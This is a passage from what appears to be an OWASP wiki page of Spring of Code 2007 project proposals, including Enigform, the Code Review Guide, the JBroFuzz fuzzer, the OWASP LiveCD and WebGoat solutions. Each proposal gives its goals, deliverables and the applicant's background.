the Unix chapter of the OISSG's Information Systems Security Assessment Framework, v0.1 [http://www.oissg.org/content/view/71/71/]. I'm currently writing&lt;br /&gt;
an Internet Draft to be proposed for RFC regarding Enigform.&lt;br /&gt;
&lt;br /&gt;
=== Community ===&lt;br /&gt;
&lt;br /&gt;
I run the official 2600 meetings site for Argentina [http://www.2600.com/meetings/pages.html], I've been proposed, but I refused, for President of the Argentinian Free Software group called SOLAR [www.solar.org.ar]. I'm an active member of the FLOSS community since 1996, having written articles in magazines http://www.net-security.org/dl/articles/Detecting_and_Understanding_rootkits.txt, made TV, radio&lt;br /&gt;
and newspaper appearances [http://codigoabierto.bitacoras.com/archivos/2005/04/01/buanzo-hacks] and led different security research groups of Spain, Mexico and Argentina. Currently I contribute time thorugh my sites, forums and blogs,&lt;br /&gt;
answering questions in mailing lists and helping coordinate some local LUGs. I do also manager the Linux Counter for Argentina [http://counter.li.org/reports/place.php?place=AR].&lt;br /&gt;
&lt;br /&gt;
=== My Project ===&lt;br /&gt;
&lt;br /&gt;
Enigform [http://enigform.mozdev.org] is a Firefox extension that enhances HTTP with OpenPGP functionality. It digitally signs outgoing HTTP requests so that a web server can authenticate the identity and data of the incoming request. It is a Web Security tool because it can, if correctly implemented as any OpenPGP based technology, render man in the middle attacks useless. I think OpenPGP already speaks for itself regarding eMail. Imagine the same benefits for http and web applications. I think Enigform can fit into the OWASP Validation Project [http://www.owasp.org/index.php/Category:OWASP_Validation_Project].&lt;br /&gt;
&lt;br /&gt;
Enigform is the reference implementation of the Internet Draft I'm working on, in discussion with members of the IETF's OpenPGP Working Group.&lt;br /&gt;
&lt;br /&gt;
Some simple PHP code is enough to make a web application Enigform-aware [http://enigformtest.buanzo.com.ar]. The Smutty PHP MVC Framework already supports Enigform [http://smutty.pu-gh.com/demo/enigform].&lt;br /&gt;
&lt;br /&gt;
=== Long Term ===&lt;br /&gt;
&lt;br /&gt;
Have the Draft be proposed as a Standards Track RFC document, have Enigform support directly in Apache and IIS, and port Enigform to other browsers&lt;br /&gt;
and/or programming languages, and also provide OpenPGP De/Encryption support.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Why should I be selected ===&lt;br /&gt;
&lt;br /&gt;
I have the experience, security awareness and means to make this project THE web security project of the decade. I am a respected member of the&lt;br /&gt;
international security community, and I firmly believe Enigform is my greatest idea so far.&lt;br /&gt;
&lt;br /&gt;
== Eoin Keary - Code review Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I am proposing that I complete the OWASP Code review guide during this period.&lt;br /&gt;
The code review guide was started by me in 2005 and has much information on reviewing code for common vulnerabilities. It is frequently accessed (looking at the stats on the OWASP site) and therefore is useful to practitioners. &lt;br /&gt;
&lt;br /&gt;
I believe the code review guide is an integral part of the OWASP BOK (Body of Knowledge). Ensuring secure development is key to secure applications and code review is of paramount importance in this domain.&lt;br /&gt;
&lt;br /&gt;
There are many sections still to be added and more to be readjusted and rewritten to reflect the current state of the security world.&lt;br /&gt;
Much needs to be written on Web 2.0 technologies and distributed B2B technologies such as Webservices.&lt;br /&gt;
 &lt;br /&gt;
The Code review process and procedure needs also to be covered. A guide to establishing a mature code review process also needs to be done.&lt;br /&gt;
Code review methodologies also need to be discussed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
&lt;br /&gt;
Update of the code review guide:&lt;br /&gt;
* Add additional areas relating to the code review process such as:&lt;br /&gt;
** Benefits and pitfalls&lt;br /&gt;
** Methodology&lt;br /&gt;
** The code review process&lt;br /&gt;
*** Transactional analysis&lt;br /&gt;
*** Managing the code review process&lt;br /&gt;
*** Assigning risk to findings&lt;br /&gt;
&lt;br /&gt;
** Technical guides&lt;br /&gt;
*** Language specific best practice &lt;br /&gt;
*** Java &lt;br /&gt;
*** .NET &lt;br /&gt;
*** PHP &lt;br /&gt;
*** MySQL &lt;br /&gt;
*** Stored Procs &lt;br /&gt;
*** C/C++ &lt;br /&gt;
&lt;br /&gt;
** Code review by vulnerability:&lt;br /&gt;
*** Reviewing Code for Buffer Overruns and Overflows &lt;br /&gt;
*** Reviewing Code for OS Injection&lt;br /&gt;
*** Reviewing Code for SQL Injection&lt;br /&gt;
*** Reviewing Code for Data Validation&lt;br /&gt;
*** Reviewing code for XSS issues&lt;br /&gt;
*** Reviewing Code for Error Handling&lt;br /&gt;
*** Reviewing Code for Logging Issues&lt;br /&gt;
*** Reviewing The Secure Code Environment&lt;br /&gt;
*** Reviewing code for Authorization Issues&lt;br /&gt;
*** Reviewing code for Authentication Issues&lt;br /&gt;
*** Reviewing code for Session Integrity&lt;br /&gt;
*** Reviewing code for Cross Site Request Forgery&lt;br /&gt;
*** Reviewing code for Cryptography implementation issues&lt;br /&gt;
*** Reviewing code Dangerous HTTP Methods (Deployment)&lt;br /&gt;
*** Race Conditions &lt;br /&gt;
&lt;br /&gt;
The areas of code are structured giving a brief explanation, the anti-pattern (vulnerable pattern to look for) and a suggested fix.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
&lt;br /&gt;
I used to head up the code review team as part of the application security group in fidelity investments and have 5+ years of the secure code review process. &lt;br /&gt;
I also was the lead of the Testing guide until V2 was published via the Autumn of Code. &lt;br /&gt;
&lt;br /&gt;
I have always  delivered any work I have volunteered for on time. &lt;br /&gt;
 &lt;br /&gt;
I have been involved in OWASP projects for 2/3 years now and have always been an active contributor.&lt;br /&gt;
&lt;br /&gt;
== Paolo Perego - Owasp Orizon Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
Owasp Orizon [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project] Project born in 2006 as answer to the lack of common engine and library usable by opensource code review related tools.&lt;br /&gt;
&lt;br /&gt;
I'm proposing that, during the Spring of Code 2007 period, I'll complete static analisys API and java source code enforment objects.&lt;br /&gt;
&lt;br /&gt;
Sometimes a complete code review approach is not suitable for most customers who wants to harden their code which is being approaching release stage. For such a reason, I started writing Java objects that embeds most of the security checks against common web vulnerabilities (XSS, SQL injection, Session handling, ...) so that source code can be hardened with a small effort in terms of code rewriting.&lt;br /&gt;
&lt;br /&gt;
I do believe that a common set of API and a common safe coding best practices library is one of the most important goals to bring application security to the developers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
Completing the static code review API section&lt;br /&gt;
* improving programming language to XML translator&lt;br /&gt;
* improving security best practices code review scan library&lt;br /&gt;
* improving secure coding fashion best practices library&lt;br /&gt;
* writing the pattern matching scan using the aformentioned libraries&lt;br /&gt;
Writing the java source code enforment objects&lt;br /&gt;
* writing an object to handle form data values to avoid XSS&lt;br /&gt;
* writing an object to handle form data values to avoid SQL Injection&lt;br /&gt;
* writing an object to handle HttpRequest and HttpSession objects&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
Owasp Orizon is the first Owasp project I'm involved in. I'm also contributor of Owasp Italian chapter managed by Matteo Meucci and I'm talking at various speeches about application security and safe coding best practices.&lt;br /&gt;
&lt;br /&gt;
I'm a security consultant working in ethical hacking and we're approaching code review and safe topics right now.&lt;br /&gt;
I'm a developer too so I understand also the &amp;quot;dark side&amp;quot; of the problem developing code with security in mind.&lt;br /&gt;
&lt;br /&gt;
I work using the &amp;quot;release early release often&amp;quot; paradigm so to be concrete and let other people having something usable to work with.&lt;br /&gt;
&lt;br /&gt;
== Sebastien Deleersnyder - OWASP Education Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
This Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences. &lt;br /&gt;
&lt;br /&gt;
Web Application Security Education and Awareness is needed throughout the entire organization, each area and level of organizations have specific needs and requirements regarding education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience. &lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
Currently the project goals are to create Educational Tracks: &lt;br /&gt;
* Complete the [[OWASP Education Presentation|consolidation page of OWASP presentations]] performed in the past&lt;br /&gt;
* A &amp;quot;Web Application Security Primer&amp;quot; Track for beginners (4 hours) &lt;br /&gt;
* A &amp;quot;What developers should know on Web Application Security&amp;quot; Track for developers (4 hours) &lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''': &lt;br /&gt;
I started the successful Belgian Chapter 3 years ago and have actively contributed to OWASP since then. I also co-organized the European conference last year in Belgium.&lt;br /&gt;
&lt;br /&gt;
This is the first separate project that I started, originating from a local demand to set up educational tracks for people that are new to Web Application Security. There are literally hundreds of presentations and an enormous amount of information on the OWASP web site. The goal of this project is to restructure pieces of that information in reusable modules that can be combined in educational tracks. It is my believe that awareness is an important cornerstone of building secure web applications, and this project will actively support that.&lt;br /&gt;
&lt;br /&gt;
If we are granted Spoc 007 participation, I will be sharing the budget with all active participants. This will be an extra motivation for project participation. I will reinvest my part in the project to set up a web conferencing / web casting solution to be used to disseminate the project results and make them available for later use.&lt;br /&gt;
&lt;br /&gt;
* '''More details''': &lt;br /&gt;
The detailed [[OWASP Education Project Roadmap|road map]] can be found here.&lt;br /&gt;
The SpoC 007 goal is to finish Sub Goals 1, 2, 3 and 4. If time permits we can start with sub goal 5.&lt;br /&gt;
&lt;br /&gt;
== Subere - OWASP JBroFuzz Project ==&lt;br /&gt;
&lt;br /&gt;
==== Overview ==== &lt;br /&gt;
&lt;br /&gt;
JBroFuzz is a stateless network protocol fuzzer that emerged from the needs of penetration testing. The purpose of this application is to provide a single, portable application that offers stable cross-platform network protocol fuzzing capabilities. At the same time, JBroFuzz attempts to keep the User Interface (UI) as intuitive as possible.&lt;br /&gt;
&lt;br /&gt;
==== Fuzzing ==== &lt;br /&gt;
&lt;br /&gt;
As seen by the emphasis given on the subject of fuzzing in the 2007 Testing Guide (v2), network protocol fuzzing serves as a fundamental cornerstone of application security testing. For this, many different categories and types of fuzzing have been defined.&lt;br /&gt;
&lt;br /&gt;
==== Objectives ==== &lt;br /&gt;
&lt;br /&gt;
JBroFuzz needs to expand and grow in order to cover network fuzzing in a more complete manner. Its modular implementation allows for the addtion of new functionality by means of independent tabs. The key tabs proposed to be added during the spring of code 2007 are (details in next section):&lt;br /&gt;
&lt;br /&gt;
* '''Open Source Tab'''&lt;br /&gt;
* '''NTLM Brute Force over HTTP/S Tab'''&lt;br /&gt;
* '''Pure HTTP/S Fuzzing using HTTPClient'''&lt;br /&gt;
* '''Blind SQL Injection Fuzzing Tab'''&lt;br /&gt;
&lt;br /&gt;
At the same time, the following existing tabs need to be updated and made more robust (details in next section):&lt;br /&gt;
&lt;br /&gt;
* '''TCP Fuzzing tab allowing graph outputs'''&lt;br /&gt;
* '''TCP Sniffing tab update thread Agent Queue'''&lt;br /&gt;
* '''Update Generators file format'''&lt;br /&gt;
* '''Include SOAP and XML fuzzing'''&lt;br /&gt;
&lt;br /&gt;
This expansion process relates to stabilising code that is presently included in JBroFuzz, thus allowing it to run for extensive periods of time (24h+) as well as adding more functionality in terms of the three new tabs.&lt;br /&gt;
&lt;br /&gt;
==== Deliverables ==== &lt;br /&gt;
&lt;br /&gt;
Based on the above, the new code elements that will be added are as follows:&lt;br /&gt;
&lt;br /&gt;
* '''Open Source Tab:''' ''Provide the ability to enumerate e-mails from newsgroups without breaching google automated search rules''&lt;br /&gt;
* '''NTLM Brute Force over HTTP/S Tab:''' ''Provide the ability to enumerate NTLM as well as brute over HTTP/S NTLM.''&lt;br /&gt;
* '''Pure HTTP/S Fuzzing:''' ''Implement a fuzzing tab utilising HTTPClient from Jakarta that will also allow for multi-threading''&lt;br /&gt;
* '''Blind SQL Fuzzing Tab''' ''Implement a tab that extracts information from a blind SQL injection point identified on web server over HTTP/HTTPS.''&lt;br /&gt;
&lt;br /&gt;
For updating existing code elements that require a partial rewrite, the following areas of focus are presented in detail: &lt;br /&gt;
&lt;br /&gt;
* '''TCP Fuzzing tab allowing graph outputs:''' ''Provide the ability to graph fuzzing results during a particular session run. This will give the ability to integrate and pickup potential fuzzing patterns.''&lt;br /&gt;
* '''TCP Sniffing tab update thread Agent Queue:''' ''Update the code of the sniffing panel in order to handle threaded agents in a more memory efficient way.''&lt;br /&gt;
* '''Update Generators file format:''' ''Update the generators file format to allow for the parsing and creation of recursive generators.''&lt;br /&gt;
* '''Include SOAP and XML fuzzing:''' ''Include an up to date list of SOAP and XML fuzzing templates.''&lt;br /&gt;
&lt;br /&gt;
Overall, the above two lists of changes should provide sufficient complexity and output for the spring of code 2007, forming a challenging implementation project.&lt;br /&gt;
&lt;br /&gt;
==== Background ==== &lt;br /&gt;
&lt;br /&gt;
In its short life, the OWASP JBroFuzz Project has attracted the interest of the online security community with a total of appr. 5000 downloads in the last months. &lt;br /&gt;
&lt;br /&gt;
Coming from a strong java background (5+ years) I decided to implement and release JBroFuzz in order to initially simplify penetrations testing processes that relate to web application and network protocol fuzzing.&lt;br /&gt;
&lt;br /&gt;
I see the spring of code 2007 as a unique opportunity to industrialise network protocol fuzzing (and in particular HTTP/S fuzzing) within a single application, residing within OWASP.&lt;br /&gt;
&lt;br /&gt;
==== Why should JBroFuzz be sponsored? ==== &lt;br /&gt;
&lt;br /&gt;
Centralising fuzzing resources into one application that has the ability to handle network protocol fuzzing over HTTP and HTTPS in a simple and intuitive manner forms an area of focus that should not be dismissed in building secure software applications.&lt;br /&gt;
&lt;br /&gt;
Keep the code platform independent adds a huge advantage. &lt;br /&gt;
&lt;br /&gt;
Receving an OWASP grant from the spring of code 2007 will trigger a share in the budget with all active participants depending on their level of involvement. This will be a direct function of the number of tabs and/or user functionality that they have assisted in implementing.&lt;br /&gt;
&lt;br /&gt;
== Joshua Perrymon - OWASP LiveCD Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I am proposing that I complete the second version of the OWASP LiveCD during this period.&lt;br /&gt;
The first version of the LiveCD is now available and include many of the current OWASP documents and tools. I believe the LiveCD is one of the best mediums to promote OWASP tools and documentation. It is portable and already being used by thousands of security proffesionals to perform application testing and training. &lt;br /&gt;
&lt;br /&gt;
In the current state the CD is stable and contains a lot of tools. However, this is just the beginning. There is a LOT of work that needs to be completed. The entire CD experience needs to be branded using OWASP graphics. This shouls start with the boot screen and carry all the way through to the icons and desktop graphics. The CD should also inlcude the wiki and ALL the tools developed for OWASP.&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
&lt;br /&gt;
Update of the LiveCD:&lt;br /&gt;
* Complete OWASP branding&lt;br /&gt;
* Add OWASP wiki&lt;br /&gt;
* Add encryption capabilities&lt;br /&gt;
* Add more OWASP tools&lt;br /&gt;
* Add more pen-test tools such as;&lt;br /&gt;
 VOIP, RFID, BlueTooth, Wireless, etc..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
&lt;br /&gt;
I had the idea of the LiveCD about a year ago and have worked very hard to get the first version developed. This was driven by my vision to make all of the OWASP tools available on a portable medium. The main difference in the OWASP liveCD vs. other live CDs is going to be the regularity of updates. If sponsorship can be obtained the CD could be updated on a monthly basis. Not once a year like other liveCDs. The CD will also include specialty tools and documentation to perform VOIP, RFID,Bluetooth, and wireless security assessments.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mark Curphey – The OWASP Web Security Certification Framework ==&lt;br /&gt;
&lt;br /&gt;
'''Problem'''&lt;br /&gt;
 &lt;br /&gt;
PCI DSS is attracting a lot of criticism for a lot of valid reasons. &lt;br /&gt;
 &lt;br /&gt;
http://securitybuddha.com/2007/03/23/the-problems-with-the-pci-data-security-standard-part-1/&lt;br /&gt;
&lt;br /&gt;
http://blogs.csoonline.com/node/210&lt;br /&gt;
&lt;br /&gt;
http://www.computerweekly.com/blogs/stuart_king/2007/03/more-on-pci---the-audit-guide.html&lt;br /&gt;
&lt;br /&gt;
The list is of course long and not appropriate here……and while its easy to knock PCI, there is nothing better out there. &lt;br /&gt;
&lt;br /&gt;
'''Solution and Deliverables'''&lt;br /&gt;
&lt;br /&gt;
As opposed to me continuing saying what’s wrong with PCI DSS, it seems to me that OWASP is a perfect forum to simply create and publish a “better criteria”. This can either be adopted and implemented by an organization like OWASP or considered to be incorporated into the PCI or other security standards. We won't get bogged down in the politics up-front, but hold something good up to the world for people to adopt. This project would of course draw on and bring together many of the other OWASP Projects including the Guide (What is a secure web app), Testing Guides (How to test for a secure web app), WebGoat (part of how to certify an individual understands and can find web app issues) etc. Many of those projects may not be complete or a perfect fit today, but this project can bring a common connecting theme to a lot of very valuable IP that OWASP has built over the years. I will also create it in such as way that a corporate could adopt/adapt it themseles as well as an industry. Where other OWASP projects are not complete or currently suitable I will build a requirements doc that can be considered by those teams if they feel appropriate. &lt;br /&gt;
&lt;br /&gt;
This project would address the;&lt;br /&gt;
&lt;br /&gt;
'''Standard''' &lt;br /&gt;
*A complete auditable (important) web site security standard suitable for modern e-commerce companies including&lt;br /&gt;
**The technical things people should care about&lt;br /&gt;
**The operational  / management things people should care about&lt;br /&gt;
'''Certification Model''' &lt;br /&gt;
*A complete framework for certification (ongoing) and implementation (including certifying auditors, ongoing validation etc). This will include for example the model for certifying auditors (including the actual test program); checklists and forms for auditors to complete and other supporting material. &lt;br /&gt;
&lt;br /&gt;
Essentially its a complete blueprint for an organisation like OWASP or a regulatory body need to run a web site security certification program complete with the supporting material to implement it.&lt;br /&gt;
&lt;br /&gt;
Note:  This is no trivial task to get right. I would need to ensure I can commit to completing the work to a good quality. I think this will take at least 2 months from start to finish to complete but I think is very important for the industry and for potentially for OWASP.  I wanted to gauge the interest by first posting this.&lt;br /&gt;
&lt;br /&gt;
== Erwin Geirnaert - OWASP Java Project ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I would like to help the OWASP Java Project to gather all Java security related information and to document any domains that lack documentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
The main objective I see is to gather all information in one place, where security experts and developers can find the information they need.&lt;br /&gt;
In order to get there, I need to collect all information in the OWASP Wiki, ask people if they want to donate it to OWASP so that we can include it as public material, add URLs, white-papers, references to books, ... And if time permits, write some documentation myself.&lt;br /&gt;
&lt;br /&gt;
One deliverable is the OWASP Top 10 for J2EE applications with clear examples of vulnerabilities and mitigations.&lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''':&lt;br /&gt;
I have more then 10 years experience in Java and J2EE and the last 6 years I have tested and broke a lot of web applications. I gave also some very successful J2EE security courses and web security courses. I spoke at different conferences about application security in Europe.&lt;br /&gt;
And I am responsible for the security track at Javapolis, one of the biggest Jave conferences in Europe.&lt;br /&gt;
I am the co-founder of ZION SECURITY where we do security testing, code review, design reviews, training,...&lt;br /&gt;
I'm also member of the OWASP Belgium board that started in March 2007.&lt;br /&gt;
&lt;br /&gt;
== Erwin Geirnaert - OWASP WebGoat Solutions Guide ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
WebGoat is used by a lot of people to learn about web application security and the different vulnerabilities. But it takes a lot of time to grasp how the tools like WebScarab work and how to use them effectively in WebGoat. I propose to create a walkthrough of the lessons in WebGoat so that people can learn from the solutions, without spoiling the fun.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
The WebGoat Solutions Guide is a document that can be bundled with WebGoat. Each lesson contains a detailed solution with screenshots and tools. I created a PDF with the solution for WebGoat 4.0 but this is too big to load (15 MB) and is not very practical.&lt;br /&gt;
&lt;br /&gt;
After a discussion with Bruce about this, we think that the solutions should be made like the existing Lessons Plan so it is easier to maintain and update when a lesson changes. This means that there will be documentation folder and an individual solution for each lesson. &lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''':&lt;br /&gt;
I have more then 10 years experience in Java and J2EE and the last 6 years I have tested and broke a lot of web applications. I gave also some very successful J2EE security courses and web security courses. I spoke at different conferences about application security in Europe.&lt;br /&gt;
And I am responsible for the security track at Javapolis, one of the biggest Jave conferences in Europe.&lt;br /&gt;
I am the co-founder of ZION SECURITY where we do security testing, code review, design reviews, training,...&lt;br /&gt;
I'm also member of the OWASP Belgium board that started in March 2007.&lt;br /&gt;
&lt;br /&gt;
== Bunyamin Demir – OWASP WeBekci Project ==&lt;br /&gt;
&lt;br /&gt;
==== Executive Summary: ====&lt;br /&gt;
&lt;br /&gt;
Web application firewalls (WAF) are gaining importance among the information security technologies designed to protect web sites from attack. WAF solutions prevent attacks that network firewalls and intrusion detection systems can't and they require no modification of application source code. ModSecurity [http://www.modsecurity.org/] is an open source web application firewall that runs as an Apache module. It is an embeddable web application firewall and it provides protection from a range of attacks against web applications. It is an open source project available to everyone; it however does not come with an admin panel. &lt;br /&gt;
&lt;br /&gt;
I decided to provide this essential tool with a control panel which I believe will ease and thus encourage its usage.&lt;br /&gt;
&lt;br /&gt;
ModSecurity allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. My main goal is to analyze attacks and generate rules to change the configuration of the ModSecurity accordingly.&lt;br /&gt;
&lt;br /&gt;
ModSecurity  has a feature called “flexible rule engine” as its heart of Attack Prevention capability . It uses ModSecurity’s “Rule Language,” (a programming language designed to work with HTTP transaction data). It is easy to use and flexible; yet the system administrators need to learn its own rules to create what is called “Certified ModSecurity Rules” to be implemented. My control panel will automate the major code-generation in Rule Language. &lt;br /&gt;
&lt;br /&gt;
==== Objectives and Deliverables: ====&lt;br /&gt;
&lt;br /&gt;
* '''Configuration''' : Will add all configuration parameter&lt;br /&gt;
* '''Rule Generator''': Will write all the Rules in Rule Language&lt;br /&gt;
* '''Logging'''       : Auditlog and debuglog will be added.&lt;br /&gt;
* '''Multiple-DB'''   : Will add PostgreSql and Sqlite support.&lt;br /&gt;
&lt;br /&gt;
==== Why I should be sponsored for the project: ====&lt;br /&gt;
&lt;br /&gt;
I am  involved with OWASP Turkey [http://www.owasp.org/index.php/Turkey] and interested very much in WAF. Even though this is my first project for OWASP, I am very much interested in every aspect of ModSecurity. With SpoC007’s support I will finalize my work on OWASP WeBekci [http://www.owasp.org/index.php/Category:OWASP_WeBekci_Project].&lt;br /&gt;
&lt;br /&gt;
== Eric Sheridan and Dr. Goran Trajkovski - The Scholastic Application Security Assessment Project ==&lt;br /&gt;
&lt;br /&gt;
=== ABSTRACT ===&lt;br /&gt;
&lt;br /&gt;
One of the major goals of the Open Web Application Security Project is to educate developers in the field of application software security. Understanding the risks and threats associated with web application software is pivotal in building a mature application security process. While OWASP has made a significant impact in the professional industry, more time and energy should be focused towards the academic community. It is an unfortunate fact that most universities do not require a stringent software security course for their computer science students. Consequently, most young developers do not have the ability to assess and mitigate the risks and threats for their own applications. It is for this reason that we believe the Open Web Application Security Project should fund an initiative to encourage the adaptation of application software security methodologies in the academic course curriculum.&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Project is intended to be the first step towards integrating security requirements in academic course curriculums. The primary goal of the project is to give students hands-on experience performing application security assessments using the tools and documentation found at http:///www.owasp.org. The assessment, lead by an application security professional, will demonstrate to students how the information and tools found at OWASP can be used to assess and ultimately increase the overall security posture of a web application. &lt;br /&gt;
&lt;br /&gt;
This project contributes towards bridging the gap between academia and industry, by equipping students with hands-on ready-for-the-job-market skills in the application software securing industry.&lt;br /&gt;
&lt;br /&gt;
=== PARTICIPANTS ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project requires that college level students, lead by an application security professional, perform a security audit on an open source web application using the tools and information available at OWASP.&lt;br /&gt;
&lt;br /&gt;
::*'''Application Security Professional''' – Eric Sheridan ([http://www.aspectsecurity.com Aspect Security])&lt;br /&gt;
::*'''Towson University (TU) Partner''' – Dr. Goran Trajkovski, Towson University (http://www.towson.edu)&lt;br /&gt;
::*'''Students''' – Students of TU’s Application Software Security Course (COSC 458), nominated by the TU Partner&lt;br /&gt;
::*'''Web Application''' – The Open WebMail Project (http://openwebmail.org/)&lt;br /&gt;
&lt;br /&gt;
=== OWASP UTILIZATION ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project requires heavy utilization of existing OWASP tools and utilities. Through this requirement, the project will illustrate the fact that existing OWASP resources can be used and heavily relied upon in a professional security audit. The following is a list of notable OWASP resources whose use will be documented throughout the assessment:&lt;br /&gt;
&lt;br /&gt;
::*'''OWASP Top Ten 2007''' - The security critical areas that the students will assess in the review&lt;br /&gt;
::*'''OWASP Testing Guide v2''' – The primary resource for building penetration testing cases&lt;br /&gt;
::*'''OWASP Guide''' – The primary resource for technical details pertaining to a technology and/or vulnerability&lt;br /&gt;
::*'''OWASP WebScarabNG''' – The primary proxy utility used throughout the assessment&lt;br /&gt;
&lt;br /&gt;
=== THE FINAL REPORT ===&lt;br /&gt;
&lt;br /&gt;
Students are required to follow the principle of “responsible disclosure” during the course of the security assessment. The developers of the open source application will be notified if any significant issues are found. Once the assessment is complete, a final report will be delivered to the application developers and the appropriate OWASP Spring of Code personnel. For each finding in the report, the students will be required to describe how the tools and information found at OWASP were used in the discovery.&lt;br /&gt;
&lt;br /&gt;
=== HOW DOES OWASP BENEFIT? ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project is specifically designed to benefit the OWASP brand:&lt;br /&gt;
&lt;br /&gt;
''The OWASP Community…''&lt;br /&gt;
::*will be provided a case study proving that the resources available at OWASP can be utilized in an academic  environment, that can be later used in advertising the OWASP efforts to similar programs as the one at TU.&lt;br /&gt;
::*will be providing students a hands on experience in learning and testing for the latest web application security threats, thus potentially enlarging the OWASP community of contributors and supporters.&lt;br /&gt;
::*will be addressing the need to educate developers in the security critical areas.&lt;br /&gt;
::*will be seen as offering a professional level service to another open source project.&lt;br /&gt;
::*will be addressing one of the root causes of application software insecurity.&lt;br /&gt;
&lt;br /&gt;
=== BACKGROUND ===&lt;br /&gt;
&lt;br /&gt;
'''Eric Sheridan:'''&lt;br /&gt;
&lt;br /&gt;
::*Earned a Bachelor’s of Science in Computer Science from Towson University&lt;br /&gt;
::*Graduate Student in Information Security at Johns Hopkins University&lt;br /&gt;
::*Application Security Engineer at Aspect Security&lt;br /&gt;
::*Lead of the OWASP Stinger Project and the OWASP Validation Project&lt;br /&gt;
&lt;br /&gt;
'''Goran Trajkovski, PhD:'''&lt;br /&gt;
&lt;br /&gt;
::*Has been teaching the Application Software Security course for the Computer Security undergraduate and master-level majors at TU since 2004 (TU has been a Center of Excellence in Information Assurance, designated by the NSA since 2002).&lt;br /&gt;
::*Assistant professor of Computer and Information Sciences at Towson University, and Director of its Cognitive Agency and Robotics Lab (CARoL).&lt;br /&gt;
::*Has lead curricular efforts in integrating application software security topics throughout the Computer Science and Computer Information Sciences curriculum&lt;br /&gt;
::*12 years of full time teaching experience in higher ed.&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Site Generator==&lt;br /&gt;
OWASP Site Generator is a great tool, but it could be even better and more widespread. There’s a lot room for improvements to both its functionality and user experience. The way I see it, main user needs to be addressed and specific development objectives for the next release of OWASP Site Generator would be:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*Create multiple types of sites easily&lt;br /&gt;
*Track and analyze requests easily&lt;br /&gt;
*Change the look and feel of the resulting sites easily&lt;br /&gt;
*Create sites for multiple web backend technologies easily&lt;br /&gt;
*Learn how to use OWASP Site Generator easily&lt;br /&gt;
&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Create a vulnerability library that can be used for web services, HTML forms, AJAX, etc. instead of having to craft the same attack for each&lt;br /&gt;
*Add support for logging of all received requests, as well as querying resulting log files&lt;br /&gt;
*&amp;amp;quot;Templatize&amp;amp;quot; the code generation process, so it can support skinning of the resulting sites&lt;br /&gt;
*&amp;amp;quot;Templatize&amp;amp;quot; the code generation process, so it can support different backend web technologies&lt;br /&gt;
*Fix all significant defects in the current release of OWASP Site Generator&lt;br /&gt;
*Redesign the GUI to make it more efficient and user friendly&lt;br /&gt;
*Create a smooth setup program which would install both client and server components as effortlessly as possible&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Report Generator==&lt;br /&gt;
There is no doubt that OWASP Report Generator is a very handy tool for penetration testers and other security researchers, but it would be even better if some enhancements were made:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*More robustness&lt;br /&gt;
*Ease of use (more efficient and intuitive GUI)&lt;br /&gt;
*Automated reporting for some typical (or not so typical) scenarios&lt;br /&gt;
*More documentation&lt;br /&gt;
*More samples&lt;br /&gt;
&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Redesign the GUI to make it more efficient and user friendly&lt;br /&gt;
*Clean up the code&lt;br /&gt;
*Add functionality to import, execute and create reports for OWASP Tiger automated tests&lt;br /&gt;
*Create some samples&lt;br /&gt;
*Create a smooth setup program&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Tiger==&lt;br /&gt;
